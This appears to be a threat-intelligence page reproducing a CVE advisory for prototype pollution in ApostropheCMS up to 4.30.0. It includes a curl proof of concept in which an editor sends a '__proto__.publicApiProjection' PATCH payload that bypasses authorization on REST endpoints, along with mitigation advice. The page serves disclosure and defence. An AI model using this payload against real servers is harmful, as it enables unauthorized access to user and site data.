Skip to main content
EPSS 0.2%top 85%

CVE-2026-53609: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in apostrophecms apostrophe

0
Critical
Published: 07/31/2026 (07/31/2026, 21:49:25 UTC)
Source: CVE Database V5
Vendor/Project: apostrophecms
Product: apostrophe

Description

<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" /> ## Summary `apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator. A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process. --- ## Details ### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800) The function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`: ```js set(o, path, v) { path = path.split('.'); for (i = 0; i < path.length - 1; i++) { o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype } o[path[i]] = v; // mutates Object.prototype } ``` ### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737) User-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`: ```js _.each(patch.$pullAll, function(val, key) { cloneOriginalBase(key); // uses _.has (hasOwnProperty) self.apos.util.set(patch, key, ...); // key is fully attacker-controlled }); ``` `cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`. The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point. --- ### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148) ```js publicApiCheck(req) { if (!self.options.publicApiProjection) { if (!self.canAccessApi(req)) { throw self.apos.error('notfound'); } } } ``` Once `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it. Because JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition: ```js !self.options.publicApiProjection ``` evaluates to `false` for all modules. As a result, the authorization check is skipped for every subsequent request handled by the process. --- ## Proof of Concept **Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB **Prerequisites:** Editor-level credentials ### Step 1 — Confirm Endpoint Is Protected (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"name":"notfound","data":{},"message":"notfound"} ``` --- ### Step 2 — Obtain Editor Token ```bash TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"..."}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") ``` --- ### Step 3 — Poison `Object.prototype` via `$pullAll` ```bash curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -H "Cookie: apos-testapp.csrf=csrf" \ -H "X-XSRF-TOKEN: csrf" \ -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}' ``` Response: ```http HTTP/1.1 200 OK ``` --- ### Step 4 — Authorization Bypass Confirmed (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"pages":0,"currentPage":1,"results":[]} ``` The endpoint now returns a valid paginated response instead of `notfound`. No credentials are supplied. Execution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed. ### Cleanup The pollution persists until the Node.js process is restarted. --- ## Impact ### Vulnerability Type **Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321) ### Who Is Impacted Any ApostropheCMS installation where at least one editor-level account exists. This is the default configuration for multi-user CMS deployments. ### Security Impact A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process. All subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`. Verified affected endpoints include: - `@apostrophecms/user` - `@apostrophecms/global` Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected. The bypass affects every unauthenticated visitor until the server is restarted. --- ## Suggested Fix Reject dangerous prototype-related path segments before traversal: ```js if ( p === '__proto__' ||

CVSS v3.1

Score 9.1critical

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Affected software

apostrophecms

apostrophe

Affected versions
<=4.30.0
apostrophecms/apostrophe
pkg:npm/apostrophecms/apostrophe
Affected versions
<4.30.1

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 08/01/2026, 21:29:26 UTC

Technical Analysis

The vulnerability arises from apos.util.set() traversing dot-notation paths without sanitizing dangerous keys like __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype. The $pullAll patch operator passes user-controlled keys directly to apos.util.set() without filtering __proto__, enabling prototype pollution. This pollution sets Object.prototype.publicApiProjection to a truthy value, causing the publicApiCheck() authorization function to skip access checks for all piece-type REST API endpoints. Consequently, all subsequent unauthenticated requests bypass authorization until the Node.js process is restarted. The vulnerability affects ApostropheCMS versions before 4.30.1 and requires editor-level credentials to exploit.

Potential Impact

An authenticated editor can permanently modify the server's Object.prototype, bypassing authorization checks on all piece-type REST API endpoints for every unauthenticated request handled by the Node.js process. This leads to unauthorized data access across multiple endpoints such as @apostrophecms/user and @apostrophecms/global until the server is restarted. The vulnerability has a critical impact with high confidentiality and availability consequences and partial integrity loss.

Mitigation Recommendations

A patch is available that rejects dangerous prototype-related path segments such as __proto__ before traversal in apos.util.set(). Users should upgrade to ApostropheCMS version 4.30.1 or later to remediate this vulnerability. Until patched, restarting the Node.js process will clear the prototype pollution but does not prevent re-exploitation. No other mitigations are indicated by the vendor advisory.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
GitHub_M
Date Reserved
2026-06-09T19:39:52.404Z
Cvss Version
3.1
State
PUBLISHED

Threat ID: 6a2c7c93e617e2d834c6c826

Added to database: 06/12/2026, 21:39:31 UTC

Last enriched: 08/01/2026, 21:29:26 UTC

Last updated: 09/12/2026, 22:01:34 UTC

Views: 214

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses